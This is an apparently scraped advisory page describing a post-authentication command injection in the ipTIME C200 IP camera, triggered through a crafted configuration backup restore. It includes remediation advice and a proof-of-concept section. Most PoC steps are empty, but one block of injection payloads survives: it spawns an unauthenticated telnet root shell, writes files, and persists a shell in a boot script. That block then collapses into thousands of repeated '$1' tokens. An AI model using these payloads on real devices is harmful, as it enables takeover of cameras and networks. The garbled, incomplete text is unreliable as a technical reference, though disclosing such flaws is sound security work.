ipTIME C200 IP Camera Post-Auth Command Injection Vulnerability with PoC

Vulnerability Summary: ipTIME C200 IP Camera Command Injection Vulnerability Vulnerability Overview Vulnerability Type: Command Injection Vulnerability Trigger Condition: Post-Authentication (requires valid session/login credentials) Affected Device: ipTIME C200 IP Camera Affected Firmware Version: v1.092 (2025-09-05) Vulnerability Cause: When processing backup configuration files (.tar) via the endpoint, the system reads configuration values from . The function performs no escaping or filtering when searching for key-value pairs. Consequently, an attacker can craft a configuration file containing malicious shell commands. These commands are subsequently concatenated into the command and executed via . Privileges: Executed with privileges. Impact Scope Manufacturer: EFM Networks (ipTIME) Architecture: MIPS32 Little-Endian Exploitation Method: The attacker requires a valid session, uploads a configuration file containing a malicious payload, and initiates a restoration operation. Consequences: Remote Code Execution (RCE), potentially leading to complete device compromise. Remediation Current Status: No official patch link is provided on the page, but the critical code defect has been identified. Remediation Recommendations: 1. In the function, strictly escape or sanitize key-value pairs read from the configuration file to prevent special characters (such as backticks or semicolons) from being interpreted as commands. 2. Avoid directly using to execute command strings concatenated with user input. 3. Implement stricter validation for input data on the endpoint. Proof of Concept (POC) Code 1. Construct Malicious Configuration File ( ) > Note: Literal spaces must not be included in the values; use instead of spaces. 2. Package as tar Archive > Key: The internal path in the tar archive must start with (because the firmware extracts it to and then moves it to ). 3. Obtain Valid Session (Login) 4. Upload Malicious Archive (ApplyRestore) 5. Verify Execution (Expected Response) > This response confirms: > 1. The tar archive was successfully decompressed. > 2. The injected payload is included in the command as-is. > 3. The device will reboot in approximately 20-30 seconds. 6. Connect to Telnet Shell (After Reboot) 7. Exemplary Verifiable Payloads ```bash Start an unauthenticated telnet shell sysset_userpw=123456789 telnetd$IFS-$1$IFS/bin/sh Create an empty marker file (verify write permissions) sysset_userpw=123456789 /tmp/pwned.txt Read kernel version to /etc/probe.cfg (retrieve via ApplyBackup) sysset_userpw=123456789 cat$IFS/proc/version>/etc/probe.cfg Persistence: Write to startup script (executes every boot) sysset_userpw=123456789 echo$IFS$1telnetd$IFS-$1$IFS/bin/sh">/etc/rc.d/S991;chmod$IFS777$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$

Goal Reached Thanks to every supporter — we hit 100%!

ipTIME C200 IP Camera Post-Auth Command Injection Vulnerability with PoC

More from this source